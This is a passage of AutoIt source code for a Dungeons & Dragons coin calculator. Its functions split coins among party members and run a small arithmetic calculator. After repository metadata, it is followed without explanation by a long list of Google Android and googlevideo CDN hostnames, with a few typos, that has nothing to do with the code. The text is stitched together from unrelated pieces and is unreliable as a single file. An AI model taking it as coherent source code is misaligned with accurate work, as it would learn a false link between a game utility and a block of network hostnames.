GUICtrlSetState($hCheckEP, $GUI_UNCHECKED) GUICtrlSetState($hCheckGP, $GUI_CHECKED) GUICtrlSetState($hCheckPP, $GUI_UNCHECKED) Case $calcPP GUICtrlSetState($hCheckCP, $GUI_UNCHECKED) GUICtrlSetState($hCheckSP, $GUI_UNCHECKED) GUICtrlSetState($hCheckEP, $GUI_UNCHECKED) GUICtrlSetState($hCheckGP, $GUI_UNCHECKED) GUICtrlSetState($hCheckPP, $GUI_CHECKED) EndSwitch EndFunc ;==>_ConvertCheckboxes Func CurrencyAdd($iCurrency, $addition = 0, $convertCopper = 0) ConsoleWrite("$convertCopper = " & $convertCopper & @LF) Local $iExchange = GUICtrlRead($checkExchange) if $convertCopper Then $toBeConverted = SplitUpdate(True, $iCurrency, $addition,True) Else $toBeConverted = SplitUpdate(True, $iCurrency, $addition) EndIf If $iExchange = $GUI_UNCHECKED Then Switch $iCurrency Case $calcCP GUICtrlSetData($hCP, Round(GUICtrlRead($hCP) + $addition,2)) Case $calcSP GUICtrlSetData($hSP, Round(GUICtrlRead($hSP) + $addition,2)) Case $calcEP GUICtrlSetData($hEP, Round(GUICtrlRead($hEP) + $addition,2)) Case $calcGP GUICtrlSetData($hGP, Round(GUICtrlRead($hGP) + $addition,2)) Case $calcPP GUICtrlSetData($hPP, Round(GUICtrlRead($hPP) + $addition,2)) EndSwitch Else ConsoleWrite("Checked " & @LF) If $iCurrency = $calcPP Then GUICtrlSetData($hPP, GUICtrlRead($hPP) + $addition) Else $Converted = CurrencyConverter($toBeConverted, False) GUICtrlSetData($hCP, 0) GUICtrlSetData($hSP, 0) GUICtrlSetData($hEP, 0) GUICtrlSetData($hGP, 0) if $convertCopper Then GUICtrlSetData($hPP, 0) ;~ For $i = 0 To UBound($Converted) - 1 Select Case StringInStr($Converted[$i], "CP") $totalCP = GUICtrlRead($hCP) + StringReplace($Converted[$i], " CP", "") GUICtrlSetData($hCP, Round($totalCP,2));GUICtrlRead($hCP) + StringReplace($Converted[$i], " CP", "")) Case StringInStr($Converted[$i], "SP") GUICtrlSetData($hSP, Round(GUICtrlRead($hSP),2) + StringReplace($Converted[$i], " SP", "")) Case StringInStr($Converted[$i], "EP") GUICtrlSetData($hEP, Round(GUICtrlRead($hEP),2) + StringReplace($Converted[$i], " EP", "")) Case StringInStr($Converted[$i], "GP") GUICtrlSetData($hGP, Round(GUICtrlRead($hGP),2) + StringReplace($Converted[$i], " GP", "")) EndSelect Next EndIf EndIf EndFunc ;==>CurrencyAdd Func SplitUpdate($addFirst = False, $aCurrency = "", $addition = 0, $convertCopper = False) Dim $toBeConverted[4] if Not($convertCopper) Then $toBeConverted[0] = GUICtrlRead($hCP) & " CP" $toBeConverted[1] = GUICtrlRead($hSP) & " SP" $toBeConverted[2] = GUICtrlRead($hEP) & " EP" $toBeConverted[3] = GUICtrlRead($hGP) & " GP" Else $toBeConverted[0] = GUICtrlRead($hCP) & " CP" EndIf $partyMembers = GUICtrlRead($hPartyMembers) $ppSplit = 0 $ppExtra = 0 $GpSplit = 0 $GpExtra = 0 $EpSplit = 0 $EpExtra = 0 $SpSplit = 0 $SpExtra = 0 $cpSplit = 0 $cpExtra = 0 $currPP = 0 $currGP = 0 $currEP = 0 $currSP = 0 $currCP = 0 GUICtrlSetData($hIndivdualCut, "") GUICtrlSetData($hLeftOver, "") Local $iExchange = GUICtrlRead($checkExchange) If $iExchange = $GUI_CHECKED Then If $addFirst Then Switch $aCurrency Case $calcCP $curr = "CP" $toBeConverted[0] = (GUICtrlRead($hCP) + $addition) & " CP" Case $calcSP $curr = "SP" $toBeConverted[1] = (GUICtrlRead($hSP) + $addition) & " SP" Case $calcEP $curr = "EP" $toBeConverted[2] = (GUICtrlRead($hEP) + $addition) & " EP" Case $calcGP $curr = "GP" $toBeConverted[3] = (GUICtrlRead($hGP) + $addition) & " GP" Case $calcPP $curr = "PP" $ppSplit = Int((GUICtrlRead($hPP) + $addition) / $partyMembers) $ppExtra = Mod(GUICtrlRead($hPP) + $addition, $partyMembers) EndSwitch EndIf If GUICtrlRead($hPP) <> 0 And ($ppExtra = 0 And $ppSplit = 0) Then $ppSplit = Int((GUICtrlRead($hPP)) / $partyMembers) $ppExtra = Mod(GUICtrlRead($hPP), $partyMembers) EndIf If $ppSplit <> 0 Then GUICtrlSetData($hIndivdualCut, Round($ppSplit,2) & " PP" & @CRLF) If $ppExtra <> 0 Then GUICtrlSetData($hLeftOver, Round($ppExtra,2) & " PP" & @CRLF) ConsoleWrite("PPSplit: " & $ppSplit & @LF & "PPEXTRA " & $ppExtra & @LF) $decConverted = CurrencyConverter($toBeConverted, True) $decConverted = $decConverted[0] * 100 $decMod = Mod($decConverted, $partyMembers) / 100 $decSplit = Int($decConverted / $partyMembers) / 100 $currSplit = CurrencyConverter($decSplit, False, True, 1) $currExtra = CurrencyConverter($decMod, False, True) ConsoleWrite("-------------" & @LF _ & "Dec Converted = " & $decConverted & @LF _ & "Party Members = " & $partyMembers & @LF _ & "Individual Split in dec form = " & $decSplit & @LF _ & "Individual Split in text form = " & _ArrayToString($currSplit, @CRLF) & @LF _ & "Left over in GP Decimal = " & $decMod & @LF) If $decSplit <> 0 Then If ($ppExtra = 0 And $ppSplit = 0) Then GUICtrlSetData($hIndivdualCut, "") For $i = 0 To UBound($currSplit) - 1 If $i = 0 And ($ppExtra = 0 And $ppSplit = 0) Then GUICtrlSetData($hIndivdualCut, $currSplit[$i] & @CRLF) Else GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & $currSplit[$i] & @CRLF) EndIf Next ElseIf ($ppExtra = 0 And $ppSplit = 0) Then GUICtrlSetData($hIndivdualCut, "") EndIf If $decMod <> 0 Then If ($ppExtra = 0 And $ppSplit = 0) Then GUICtrlSetData($hLeftOver, "") For $i = 0 To UBound($currExtra) - 1 If $i = 0 And ($ppExtra = 0 And $ppSplit = 0) Then GUICtrlSetData($hLeftOver, $currExtra[$i] & @CRLF) Else GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & $currExtra[$i] & @CRLF) EndIf Next ElseIf ($ppExtra = 0 And $ppSplit = 0) Then GUICtrlSetData($hLeftOver, "") EndIf Else $currCP = GUICtrlRead($hCP) $currSP = GUICtrlRead($hSP) $currEP = GUICtrlRead($hEP) $currGP = GUICtrlRead($hGP) $currPP = GUICtrlRead($hPP) If $addFirst Then Switch $aCurrency Case $calcCP $curr = "CP" $currCP = (GUICtrlRead($hCP) + $addition) Case $calcSP $curr = "SP" $currSP = (GUICtrlRead($hSP) + $addition) Case $calcEP $curr = "EP" $currEP = (GUICtrlRead($hEP) + $addition) Case $calcGP $curr = "GP" $currGP = (GUICtrlRead($hGP) + $addition) Case $calcPP $curr = "PP" $currPP = GUICtrlRead($hPP) + $addition EndSwitch Else EndIf If $convertMode = False Then If $currPP <> 0 Then $ppSplit = Int($currPP / $partyMembers) $ppExtra = Mod($currPP, $partyMembers) EndIf If $ppSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($ppSplit,2) & " PP" & @CRLF) If $ppExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($ppExtra,2) & " PP" & @CRLF) If $currGP <> 0 Then $GpSplit = Int($currGP / $partyMembers) $GpExtra = Mod($currGP, $partyMembers) EndIf If $GpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($GpSplit,2) & " GP" & @CRLF) If $GpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($GpExtra,2) & " GP" & @CRLF) If $currEP <> 0 Then $EpSplit = Int($currEP / $partyMembers) $EpExtra = Mod($currEP, $partyMembers) EndIf If $EpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($EpSplit,2) & " EP" & @CRLF) If $EpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($EpExtra,2) & " EP" & @CRLF) If $currSP <> 0 Then $SpSplit = Int($currSP / $partyMembers) $SpExtra = Mod($currSP, $partyMembers) EndIf If $SpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($SpSplit,2) & " SP" & @CRLF) If $SpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($SpExtra,2) & " SP" & @CRLF) If $currCP <> 0 Then $cpSplit = Int($currCP / $partyMembers) $cpExtra = Mod($currCP, $partyMembers) EndIf If $cpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($cpSplit,2) & " CP") If $cpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($cpExtra,2) & " CP") Else $remainderSplit = 0 $remainderCurr = "" $remainderExtra = 0 $currCPRemainder = GUICtrlRead($hCPRemainder) $currSPRemainder = GUICtrlRead($hSPRemainder) $currEPRemainder = GUICtrlRead($hEPRemainder) $currGPRemainder = GUICtrlRead($hGPRemainder) $currPPRemainder = GUICtrlRead($hPPRemainder) Switch $aCurrency Case $calcCP If $currCP <> 0 Then $cpSplit = Int($currCP / $partyMembers) $cpExtra = Mod($currCP, $partyMembers) If GUICtrlRead($hCPRemainder) <> 0 Then $remainderDec = CurrencyConverter(GUICtrlRead($hCPRemainder)) $remainderCurr = ReturnCurrency(GUICtrlRead($hCPRemainder)) $remainderDec[0] *= $remainderCurr[1] $remainderSplit = Int($remainderDec[0] / $partyMembers) $remainderExtra = Mod($remainderDec[0], $partyMembers) EndIf EndIf If $cpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($cpSplit,2) & " CP") If $cpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($cpExtra,2) & " CP") If $remainderSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($remainderSplit,2) & " " & $remainderCurr[0]) If $remainderExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($remainderExtra,2) & " " & $remainderCurr[0]) Case $calcSP If $currSP <> 0 Or $currSPRemainder <> 0 Then $SpSplit = Int($currSP / $partyMembers) $SpExtra = Mod($currSP, $partyMembers) If GUICtrlRead($hSPRemainder) <> 0 Then $remainderDec = CurrencyConverter(GUICtrlRead($hSPRemainder)) $remainderCurr = ReturnCurrency(GUICtrlRead($hSPRemainder)) $remainderDec[0] *= $remainderCurr[1] $remainderSplit = Int($remainderDec[0] / $partyMembers) $remainderExtra = Mod($remainderDec[0], $partyMembers) EndIf EndIf If $SpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($SpSplit,2) & " SP" & @CRLF) If $SpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($SpExtra,2) & " SP" & @CRLF) If $remainderSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($remainderSplit,2) & " " & $remainderCurr[0]) If $remainderExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($remainderExtra,2) & " " & $remainderCurr[0]) Case $calcEP If $currEP <> 0 Or $currEPRemainder <> 0 Then $EpSplit = Int($currEP / $partyMembers) $EpExtra = Mod($currEP, $partyMembers) If GUICtrlRead($hEPRemainder) <> 0 Then $remainderDec = CurrencyConverter(GUICtrlRead($hEPRemainder)) $remainderCurr = ReturnCurrency(GUICtrlRead($hEPRemainder)) $remainderDec[0] *= $remainderCurr[1] $remainderSplit = Int($remainderDec[0] / $partyMembers) $remainderExtra = Mod($remainderDec[0], $partyMembers) EndIf EndIf If $EpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($EpSplit,2) & " EP" & @CRLF) If $EpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($EpExtra,2) & " EP" & @CRLF) If $remainderSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($remainderSplit,2) & " " & $remainderCurr[0]) If $remainderExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($remainderExtra,2) & " " & $remainderCurr[0]) Case $calcGP If $currGP <> 0 Or $currGPRemainder <> 0 Then $GpSplit = Int($currGP / $partyMembers) $GpExtra = Mod($currGP, $partyMembers) If GUICtrlRead($hGPRemainder) <> 0 Then $remainderDec = CurrencyConverter(GUICtrlRead($hGPRemainder),true,false,1) $remainderCurr = ReturnCurrency(GUICtrlRead($hGPRemainder)) $remainderDec[0] *= $remainderCurr[1] $remainderSplit = Int($remainderDec[0] / $partyMembers) $remainderExtra = Mod($remainderDec[0], $partyMembers) EndIf EndIf If $GpSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($GpSplit,2) & " GP" & @CRLF) If $GpExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($GpExtra,2) & " GP" & @CRLF) If $remainderSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($remainderSplit,2) & " " & $remainderCurr[0]) If $remainderExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($remainderExtra,2) & " " & $remainderCurr[0]) Case $calcPP If $currPP <> 0 Or $currPPRemainder <> 0 Then $ppSplit = Int($currPP / $partyMembers) $ppExtra = Mod($currPP, $partyMembers) If GUICtrlRead($hPPRemainder) <> 0 Then $remainderDec = CurrencyConverter(GUICtrlRead($hPPRemainder)) $remainderCurr = ReturnCurrency(GUICtrlRead($hPPRemainder)) $remainderDec[0] *= $remainderCurr[1] $remainderSplit = Int($remainderDec[0] / $partyMembers) $remainderExtra = Mod($remainderDec[0], $partyMembers) EndIf EndIf If $ppSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($ppSplit,2) & " PP" & @CRLF) If $ppExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($ppExtra,2) & " PP" & @CRLF) If $remainderSplit <> 0 Then GUICtrlSetData($hIndivdualCut, GUICtrlRead($hIndivdualCut) & Round($remainderSplit,2) & " " & $remainderCurr[0]) If $remainderExtra <> 0 Then GUICtrlSetData($hLeftOver, GUICtrlRead($hLeftOver) & Round($remainderExtra,2) & " " & $remainderCurr[0]) EndSwitch EndIf EndIf Return $toBeConverted EndFunc ;==>SplitUpdate Func CheckMode() Switch $calcMode Case "First Number" GUICtrlSetState($calcCP, $GUI_ENABLE) GUICtrlSetState($calcSP, $GUI_ENABLE) GUICtrlSetState($calcEP, $GUI_ENABLE) GUICtrlSetState($calcGP, $GUI_ENABLE) GUICtrlSetState($calcPP, $GUI_ENABLE) Case "Second Number" If $calcSecondNumber <> "" Then GUICtrlSetState($calcCP, $GUI_ENABLE) GUICtrlSetState($calcSP, $GUI_ENABLE) GUICtrlSetState($calcEP, $GUI_ENABLE) GUICtrlSetState($calcGP, $GUI_ENABLE) GUICtrlSetState($calcPP, $GUI_ENABLE) Else GUICtrlSetState($calcCP, $GUI_DISABLE) GUICtrlSetState($calcSP, $GUI_DISABLE) GUICtrlSetState($calcEP, $GUI_DISABLE) GUICtrlSetState($calcGP, $GUI_DISABLE) GUICtrlSetState($calcPP, $GUI_DISABLE) EndIf Case Else GUICtrlSetState($calcCP, $GUI_DISABLE) GUICtrlSetState($calcSP, $GUI_DISABLE) GUICtrlSetState($calcEP, $GUI_DISABLE) GUICtrlSetState($calcGP, $GUI_DISABLE) GUICtrlSetState($calcPP, $GUI_DISABLE) EndSwitch $calcLastMode = $calcMode EndFunc ;==>CheckMode Func ModifierPressed($modifier) Switch $calcMode Case "First Number" If $calcOnZero And $calcFirstNumber = 0 Then If $modifier = "-" Then $calcFirstNumber = "-" $calcOnZero = False GUICtrlSetData($calcDisplay, $calcFirstNumber) EndIf Else $calcModifier = $modifier GUICtrlSetData($calcDisplay, $calcFirstNumber & $calcModifier) $calcMode = "Modifier" EndIf Case "Modifier" GUICtrlSetData($calcDisplay, StringReplace(GUICtrlRead($calcDisplay), $calcModifier, $modifier)) $calcModifier = $modifier Case "Second Number" Calculate() EndSwitch EndFunc ;==>ModifierPressed Func Calculate() Local $iTotal Switch $calcModifier Case "+" $iTotal = $calcFirstNumber + $calcSecondNumber Case "-" $iTotal = $calcFirstNumber - $calcSecondNumber Case "*" $iTotal = $calcFirstNumber * $calcSecondNumber Case "/" $iTotal = $calcFirstNumber / $calcSecondNumber Case Else $iTotal = $calcFirstNumber EndSwitch If $firstHistory Then GUICtrlSetData($calcHistory, $calcFirstNumber & $calcModifier & $calcSecondNumber & " = " & $iTotal) $firstHistory = False Else GUICtrlSetData($calcHistory, GUICtrlRead($calcHistory) & @CRLF & $calcFirstNumber & $calcModifier & $calcSecondNumber & " = " & $iTotal) EndIf _GUICtrlEdit_LineScroll($calcHistory, 0, 10) $calcFirstNumber = $iTotal $calcOnZero = True GUICtrlSetData($calcDisplay, $calcFirstNumber) $calcMode = "First Number" EndFunc ;==>Calculate

AutoIt

sdoddler/D-D-Software-Suite

Currency Calculator Source/Currency Calculator.au3

r1---sn-a5m7znee.c.android.clients.google.com r2---sn-a5m7znee.c.android.clients.google.com r3---sn-a5m7znee.c.android.clients.google.com r4---sn-a5m7znee.c.android.clients.google.com r5---sn-a5m7znee.c.android.clients.google.com r6---sn-a5m7znee.c.android.clients.google.com r7---sn-a5m7znee.c.android.clients.google.com r8---sn-a5m7znee.c.android.clients.google.com r9---sn-a5m7znee.c.android.clients.google.com r10---sn-a5m7znee.c.android.clients.google.com r11---sn-a5m7znee.c.android.clients.google.com r12---sn-a5m7znee.c.android.clients.google.com r13---sn-a5m7znee.c.android.clients.google.com r14---sn-a5m7znee.c.android.clients.google.com r15---sn-a5m7znee.c.android.clients.google.com r16---sn-a5m7znee.c.android.clients.google.com r17---sn-a5m7znee.c.android.clients.google.com r18---sn-a5m7znee.c.android.clients.google.com r19---sn-a5m7znee.c.android.clients.google.com r20---sn-a5m7znee.c.android.clients.google.com r1---sn-a5m7zne7.c.android.clients.google.com r2---sn-a5m7zne7.c.android.clients.google.com r3---sn-a5m7zne7.c.android.clients.google.com r4---sn-a5m7zne7.c.android.clients.google.com r5---sn-a5m7zne7.c.android.clients.google.com r6---sn-a5m7zne7.c.android.clients.google.com r7---sn-a5m7zne7.c.android.clients.google.com r8---sn-a5m7zne7.c.android.clients.google.com r9---sn-a5m7zne7.c.android.clients.google.com r10---sn-a5m7zne7.c.android.clients.google.com r11---sn-a5m7zne7.c.android.clients.google.com r12---sn-a5m7zne7.c.android.clients.google.com r13---sn-a5m7zne7.c.android.clients.google.com r14---sn-a5m7zne7.c.android.clients.google.com r15---sn-a5m7zne7.c.android.clients.google.com r16---sn-a5m7zne7.c.android.clients.google.com r17---sn-a5m7zne7.c.android.clients.google.com r18---sn-a5m7zne7.c.android.clients.google.com r19---sn-a5m7zne7.c.android.clients.google.com r20---sn-a5m7zne7.c.android.clients.google.com r1---pek01s02.c.android.clients.google.com r2---pek01s02.c.android.clients.google.com r3---pek01s02.c.android.clients.google.com r4---pek01s02.c.android.clients.google.com r5---pek01s02.c.android.clients.google.com r6---pek01s02.c.android.clients.google.com r7---pek01s02.c.android.clients.google.com r8---pek01s02.c.android.clients.google.com r9---pek01s02.c.android.clients.google.com r10---pek01s02.c.android.clients.google.com r11---pek01s02.c.android.clients.google.com r12---pek01s02.c.android.clients.google.com r13---pek01s02.c.android.clients.google.com r14---pek01s02.c.android.clients.google.com r15---pek01s02.c.android.clients.google.com r16---pek01s02.c.android.clients.google.com r17---pek01s02.c.android.clients.google.com r18---pek01s02.c.android.clients.google.com r19---pek01s02.c.android.clients.google.com r20---pek01s02.c.android.clients.google.com r1---sn-i3b7sn7d.c.android.clients.google.com r2---sn-i3b7sn7d.c.android.clients.google.com r3---sn-i3b7sn7d.c.android.clients.google.com r4---sn-i3b7sn7d.c.android.clients.google.com r5---sn-i3b7sn7d.c.android.clients.google.com r6---sn-i3b7sn7d.c.android.clients.google.com r7---sn-i3b7sn7d.c.android.clients.google.com r8---sn-i3b7sn7d.c.android.clients.google.com r9---sn-i3b7sn7d.c.android.clients.google.com r10---sn-i3b7sn7d.c.android.clients.google.com r11---sn-i3b7sn7d.c.android.clients.google.com r12---sn-i3b7sn7d.c.android.clients.google.com r13---sn-i3b7sn7d.c.android.clients.google.com r14---sn-i3b7sn7d.c.android.clients.google.com r15---sn-i3b7sn7d.c.android.clients.google.com r16---sn-i3b7sn7d.c.android.clients.google.com r17---sn-i3b7sn7d.c.android.clients.google.com r18---sn-i3b7sn7d.c.android.clients.google.com r19---sn-i3b7sn7d.c.android.clients.google.com r20---sn-i3b7sn7d.c.android.clients.google.com r1---sn-i3b76n7e.c.android.clients.google.com r2---sn-i3b76n7e.c.android.clients.google.com r3---sn-i3b76n7e.c.android.clients.google.com r4---sn-i3b76n7e.c.android.clients.google.com r5---sn-i3b76n7e.c.android.clients.google.com r6---sn-i3b76n7e.c.android.clients.google.com r7---sn-i3b76n7e.c.android.clients.google.com r8---sn-i3b76n7e.c.android.clients.google.com r9---sn-i3b76n7e.c.android.clients.google.com r10---sn-i3b76n7e.c.android.clients.google.com r11---sn-i3b76n7e.c.android.clients.google.com r12---sn-i3b76n7e.c.android.clients.google.com r13---sn-i3b76n7e.c.android.clients.google.com r14---sn-i3b76n7e.c.android.clients.google.com r15---sn-i3b76n7e.c.android.clients.google.com r16---sn-i3b76n7e.c.android.clients.google.com r17---sn-i3b76n7e.c.android.clients.google.com r18---sn-i3b76n7e.c.android.clients.google.com r19---sn-i3b76n7e.c.android.clients.google.com r20---sn-i3b76n7e.c.android.clients.google.com r1---sn-i3b76n7l.c.android.clients.google.com r2---sn-i3b76n7l.c.android.clients.google.com r3---sn-i3b76n7l.c.android.clients.google.com r4---sn-i3b76n7l.c.android.clients.google.com r5---sn-i3b76n7l.c.android.clients.google.com r6---sn-i3b76n7l.c.android.clients.google.com r7---sn-i3b76n7l.c.android.clients.google.com r8---sn-i3b76n7l.c.android.clients.google.com r9---sn-i3b76n7l.c.android.clients.google.com r10---sn-i3b76n7l.c.android.clients.google.com r11---sn-i3b76n7l.c.android.clients.google.com r12---sn-i3b76n7l.c.android.clients.google.com r13---sn-i3b76n7l.c.android.clients.google.com r14---sn-i3b76n7l.c.android.clients.google.com r15---sn-i3b76n7l.c.android.clients.google.com r16---sn-i3b76n7l.c.android.clients.google.com r17---sn-i3b76n7l.c.android.clients.google.com r18---sn-i3b76n7l.c.android.clients.google.com r19---sn-i3b76n7l.c.android.clients.google.com r20---sn-i3b76n7l.c.android.clients.google.com r1---sn-30a7en7d.c.android.clients.google.com r2---sn-30a7en7d.c.android.clients.google.com r3---sn-30a7en7d.c.android.clients.google.com r4---sn-30a7en7d.c.android.clients.google.com r5---sn-30a7en7d.c.android.clients.google.com r6---sn-30a7en7d.c.android.clients.google.com r7---sn-30a7en7d.c.android.clients.google.com r8---sn-30a7en7d.c.android.clients.google.com r9---sn-30a7en7d.c.android.clients.google.com r10---sn-30a7en7d.c.android.clients.google.com r11---sn-30a7en7d.c.android.clients.google.com r12---sn-30a7en7d.c.android.clients.google.com r13---sn-30a7en7d.c.android.clients.google.com r14---sn-30a7en7d.c.android.clients.google.com r15---sn-30a7en7d.c.android.clients.google.com r16---sn-30a7en7d.c.android.clients.google.com r17---sn-30a7en7d.c.android.clients.google.com r18---sn-30a7en7d.c.android.clients.google.com r19---sn-30a7en7d.c.android.clients.google.com r20---sn-30a7en7d.c.android.clients.google.com r1---sn-npo7ene7.c.android.clients.google.com r2---sn-npo7ene7.c.android.clients.google.com r3---sn-npo7ene7.c.android.clients.google.com r4---sn-npo7ene7.c.android.clients.google.com r5---sn-npo7ene7.c.android.clients.google.com r6---sn-npo7ene7.c.android.clients.google.com r7---sn-npo7ene7.c.android.clients.google.com r8---sn-npo7ene7.c.android.clients.google.com r9---sn-npo7ene7.c.android.clients.google.com r10---sn-npo7ene7.c.android.clients.google.com r11--sn-npo7ene7.c.android.clients.google.com r12---sn-npo7ene7.c.android.clients.google.com r13---sn-npo7ene7.c.android.clients.google.com r14---sn-npo7ene7.c.android.clients.google.com r15---sn-npo7ene7.c.android.clients.google.com r16---sn-npo7ene7.c.android.clients.google.com r17---sn-npo7ene7.c.android.clients.google.com r18---sn-npo7ene7.c.android.clients.google.com r19---sn-npo7ene7.c.android.clients.google.com r20---sn-npo7ene7.c.android.clients.google.com r1---sn-npo7enee.c.android.clients.google.com r2---sn-npo7enee.c.android.clients.google.com r3---sn-npo7enee.c.android.clients.google.com r4---sn-npo7enee.c.android.clients.google.com r5---sn-npo7enee.c.android.clients.google.com r6---sn-npo7enee.c.android.clients.google.com r7---sn-npo7enee.c.android.clients.google.com r8---sn-npo7enee.c.android.clients.google.com r9---sn-npo7enee.c.android.clients.google.com r10---sn-npo7enee.c.android.clients.google.com r11---sn-npo7enee.c.android.clients.google.com r12---sn-npo7enee.c.android.clients.google.com r13---sn-npo7enee.c.android.clients.google.com r14---sn-npo7enee.c.android.clients.google.com r15---sn-npo7enee.c.android.clients.google.com r16---sn-npo7enee.c.android.clients.google.com r17---sn-npo7enee.c.android.clients.google.com r18---sn-npo7enee.c.android.clients.google.com r19---sn-npo7enee.c.android.clients.google.com r20---sn-npo7enee.c.android.clients.google.com r1---sn-npo7enel.c.android.clients.google.com r2---sn-npo7enel.c.android.clients.google.com r3---sn-npo7enel.c.android.clients.google.com r4---sn-npo7enel.c.android.clients.google.com r5---sn-npo7enel.c.android.clients.google.com r6---sn-npo7enel.c.android.clients.google.com r7---sn-npo7enel.c.android.clients.google.com r8---sn-npo7enel.c.android.clients.google.com r9---sn-npo7enel.c.android.clients.google.com r19---sn-npo7enel.c.android.clients.google.com r11---sn-npo7enel.c.android.clients.google.com r12---sn-npo7enel.c.android.clients.google.com r13---sn-npo7enel.c.android.clients.google.com r14---sn-npo7enel.c.android.clients.google.com r15---sn-npo7enel.c.android.clients.google.com r16---sn-npo7enel.c.android.clients.google.com r17---sn-npo7enel.c.android.clients.google.com r18---sn-npo7enel.c.android.clients.google.com r19---sn-npo7enel.c.android.clients.google.com r20---sn-npo7enel.c.android.clients.google.com r1---sn-npo7enes.c.android.clients.google.com r2---sn-npo7enes.c.android.clients.google.com r3---sn-npo7enes.c.android.clients.google.com r4---sn-npo7enes.c.android.clients.google.com r5---sn-npo7enes.c.android.clients.google.com r6---sn-npo7enes.c.android.clients.google.com r7---sn-npo7enes.c.android.clients.google.com r8---sn-npo7enes.c.android.clients.google.com r9---sn-npo7enes.c.android.clients.google.com r10---sn-npo7enes.c.android.clients.google.com r11---sn-npo7enes.c.android.clients.google.com r12---sn-npo7enes.c.android.clients.google.com r13---sn-npo7enes.c.android.clients.google.com r14---sn-npo7enes.c.android.clients.google.com r15---sn-npo7enes.c.android.clients.google.com r16---sn-npo7enes.c.android.clients.google.com r17---sn-npo7enes.c.android.clients.google.com r18---sn-npo7enes.c.android.clients.google.com r19---sn-npo7enes.c.android.clients.google.com r20---sn-npo7enes.c.android.clients.google.com r1---sn-25g7sm76.googlevideo.com r2---sn-25g7sm76.googlevideo.com r3---sn-25g7sm76.googlevideo.com r4---sn-25g7sm76.googlevideo.com r5---sn-25g7sm76.googlevideo.com r6---sn-25g7sm76.googlevideo.com r7---sn-25g7sm76.googlevideo.com r8---sn-25g7sm76.googlevideo.com r9---sn-25g7sm76.googlevideo.com r10---sn-25g7sm76.googlevideo.com r11---sn-25g7sm76.googlevideo.com r12---sn-25g7sm76.googlevideo.com r13---sn-25g7sm76.googlevideo.com r14---sn-25g7sm76.googlevideo.com r15---sn-25g7sm76.googlevideo.com r16---sn-25g7sm76.googlevideo.com r17---sn-25g7sm76.googlevideo.com r18---sn-25g7sm76.googlevideo.com r19---sn-25g7sm76.googlevideo.com r20---sn-25g7sm76.googlevideo.com r1---sn-4g57kndy.googlevideo.com r2---sn-4g57kndy.googlevideo.com r3---sn-4g57kndy.googlevideo.com r4---sn-4g57kndy.googlevideo.com r5---sn-4g57kndy.googlevideo.com r6---sn-4g57kndy.googlevideo.com r7---sn-4g57kndy.googlevideo.com r8---sn-4g57kndy.googlevideo.com r9---sn-4g57kndy.googlevideo.com r10---sn-4g57kndy.googlevideo.com r11---sn-4g57kndy.googlevideo.com r12---sn-4g57kndy.googlevideo.com r13---sn-4g57kndy.googlevideo.com r14---sn-4g57kndy.googlevideo.com r15---sn-4g57kndy.googlevideo.com r16---sn-4g57kndy.googlevideo.com r17---sn-4g57kndy.googlevideo.com r18---sn-4g57kndy.googlevideo.com r19---sn-4g57kndy.googlevideo.com r20---sn-4g57kndy.googlevideo.com r1---sn-a8au-a5me.googlevideo.com r2---sn-a8au-a5me.googlevideo.com r3---sn-a8au-a5me.googlevideo.com r4---sn-a8au-a5me.googlevideo.com r5---sn-a8au-a5me.googlevideo.com r6---sn-a8au-a5me.googlevideo.com r7---sn-a8au-a5me.googlevideo.com r8---sn-a8au-a5me.googlevideo.com r1---sn-a5m7lm76.googlevideo.com r2---sn-a5m7lm76.googlevideo.com r3---sn-a5m7lm76.googlevideo.com r4---sn-a5m7lm76.googlevideo.com r5---sn-a5m7lm76.googlevideo.com r6---sn-a5m7lm76.googlevideo.com r7---sn-a5m7lm76.googlevideo.com r8---sn-a5m7lm76.googlevideo.com r9---sn-a5m7lm76.googlevideo.com r10---sn-a5m7lm76.googlevideo.com 